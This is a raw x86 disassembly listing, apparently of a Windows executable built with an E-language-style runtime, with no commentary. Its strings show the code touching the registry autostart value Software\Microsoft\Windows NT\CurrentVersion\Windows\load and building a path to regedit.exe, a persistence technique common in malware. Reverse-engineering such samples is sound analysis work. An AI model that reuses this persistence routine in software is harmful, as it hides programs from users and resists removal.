mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x40f783
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40f7d8
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40f7d6
imul eax, dword [edi]
jmp 0x40f7cb
mov ecx, eax
cmp ecx, 0x100
jle 0x40f7e5
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40f823
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40f821
imul eax, dword [edi]
jmp 0x40f816
mov ecx, eax
cmp ecx, 0x50
jle 0x40f82d
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x40f9a4
mov dword [ebp - 0x30], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x40f8e5
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40f93a
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40f938
imul eax, dword [edi]
jmp 0x40f92d
mov ecx, eax
cmp ecx, 0x100
jle 0x40f947
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40f985
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40f983
imul eax, dword [edi]
jmp 0x40f978
mov ecx, eax
cmp ecx, 0x50
jle 0x40f98f
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x10]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x40f9c1
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40f9d4
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x38], esp
je 0x40fa09
push 6
call fcn.00434a53
add esp, 4
mov dword [ebp - 0x3c], eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push 1
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x3c]
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x40fa49
mov eax, 0x4b0200
push eax
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x40fa8c
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
lea eax, [ebp - 0x20]
push eax
call fcn.00403ae9
mov dword [ebp - 0x34], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40faf4
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 3
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40fb41
push ebx
call fcn.00434a35
add esp, 4
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x40fb54
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
lea eax, [ebp - 0x20]
push eax
call fcn.00414d87
test eax, eax
je 0x40fbea
push VariantClear
push 0
push 0x4d14b8
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 8]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x40fc07
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40fc1a
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x40fc37
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 5
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
pop eax
pop ebx
pop ecx
jmp 0x40f590
add esp, 0xc
pop ebx
pop ecx
jmp 0x40f044
add esp, 8
push 0
push 0
push 0
push VariantClear
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindowsload
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x437570
call fcn.00434a41
add esp, 0x28
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40fcd0
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0x4b0200
push dword [ebp - 0x20]
call fcn.00404bc4
add esp, 8
cmp eax, 0
je 0x40fd45
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push VariantClear
push 0
push 0x4b04ce
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x40fd1e
mov eax, 0x4b0200
push eax
push 4
mov ebx, 0x435600
call fcn.00434a41
add esp, 0x34
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
je 0x40fd45
mov eax, 1
jmp 0x40fd47
xor eax, eax
test eax, eax
je 0x410872
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.00434a3b
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x24]
call fcn.00401232
pop edx
test ecx, ecx
je 0x40fda9
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x40fd9f
push ebx
call fcn.00434a35
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x40fd8e
pop edx
pop edi
test edx, edx
je 0x40fdb7
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 0x24]
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._regedit.exe
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40fe0f
push ebx
call fcn.00434a35
add esp, 4
push VariantClear
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40fe22
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40fe6f
push ebx
call fcn.00434a35
add esp, 4
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._regedit.exe
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40feb8
push ebx
call fcn.00434a35
add esp, 4
mov dword [ebp - 0x38], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x34]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x38], esp
je 0x40ff4e
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x3c]
push ebx
mov edi, dword [ebp - 0x40]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40ffa3
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40ffa1
imul eax, dword [edi]
jmp 0x40ff96
mov ecx, eax
cmp ecx, 0x100
jle 0x40ffb0
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40ffee
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40ffec
imul eax, dword [edi]
jmp 0x40ffe1
mov ecx, eax
cmp ecx, 0x50
jle 0x40fff8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x410020
push ebx
call fcn.00434a35
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x4101d8
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._regedit.exe
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x410073
push ebx
call fcn.00434a35
add esp, 4
mov dword [ebp - 0x38], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x34]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x38], esp
je 0x410109
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x3c]
push ebx
mov edi, dword [ebp - 0x40]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x41015e
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x41015c
imul eax, dword [edi]
jmp 0x410151
mov ecx, eax
cmp ecx, 0x100
jle 0x41016b
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x4101a9
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x4101a7
imul eax, dword [edi]
jmp 0x41019c
mov ecx, eax
cmp ecx, 0x50
jle 0x4101b3
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4101d8
push ebx
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x410205
push 6
call fcn.00434a53
add esp, 4
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486080
call fcn.00434a5f
add esp, 0x34
call fcn.0040bc84
push 0
push 0
push 0
push VariantClear
push 0
push 0x4b04ce
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x41026d
mov eax, 0x4b0200
push eax
push 3
mov ebx, 0x435e30
call fcn.00434a41
add esp, 0x28
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x24]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4102a5
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4102a1
imul eax, dword [ebx]
jmp 0x410296
mov ecx, eax
test ecx, ecx
je 0x4102c4
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4102bd
push ebx
push eax
call fcn.00434a35
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4102ab
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x4102e3
mov eax, 0x4b0200
push eax
push 1
mov ebx, 0x436a40
call fcn.00434a41
add esp, 0x10
and eax, 1
xor eax, 1
test eax, eax
je 0x410328
lea eax, [ebp - 0x20]
push eax
call fcn.00413f77
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x410324
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x4103be
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x410413
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x410411
imul eax, dword [edi]
jmp 0x410406
mov ecx, eax
cmp ecx, 0x100
jle 0x410420
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x41045e
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x41045c
imul eax, dword [edi]
jmp 0x410451
mov ecx, eax
cmp ecx, 0x50
jle 0x410468
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x4105df
mov dword [ebp - 0x30], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x410520
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x410575
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x410573
imul eax, dword [edi]
jmp 0x410568
mov ecx, eax
cmp ecx, 0x100
jle 0x410582
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x4105c0
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x4105be
imul eax, dword [edi]
jmp 0x4105b3
mov ecx, eax
cmp ecx, 0x50
jle 0x4105ca
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x24]
call fcn.00401232
push ebx
push ecx
mov ebx, dword [ebp - 0x24]
call fcn.0040325a
dec eax
jns 0x410601
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x410614
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], esp
mov ebx, dword [ebp - 0x38]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x3c], esp
je 0x410649
push 6
call fcn.00434a53
add esp, 4
mov dword [ebp - 0x40], eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push 1
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x40]
push VariantClear
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x410689
mov eax, 0x4b0200
push eax
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x4106cc
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
lea eax, [ebp - 0x20]
push eax
call fcn.00403ae9
mov dword [ebp - 0x34], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x410734
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 3
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x410781
push ebx
call fcn.00434a35
add esp, 4
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x410794
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
lea eax, [ebp - 0x20]
push eax
call fcn.00414d87
test eax, eax
je 0x41082a
push VariantClear
push 0
push 0x4d14b8
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
push VariantClear
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindowsload
push 0x80000301
push 0
push 5
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.00434a3b
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x10]
call fcn.00401232
pop edx
test ecx, ecx
je 0x4108cc
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4108c2
push ebx
call fcn.00434a35
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x4108b1
pop edx
pop edi
test edx, edx
je 0x4108da
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 0x10]
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.00434a3b
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
pop edx
test ecx, ecx
je 0x410943
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x410939
push ebx
call fcn.00434a35
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x410928
pop edx
pop edi
test edx, edx
je 0x410951
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 0x2c]
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
push 7
call fcn.00414c39
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x410981
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00414e4b
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4109b6
push ebx
call fcn.00434a35
add esp, 4
cmp dword [ebp - 0x34], 0
jle 0x41154f
mov ebx, 0xc
call fcn.0040122a
push VariantClear
push 0
push 0x4d15ae
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x410a18
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov dword [ebp - 0x30], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
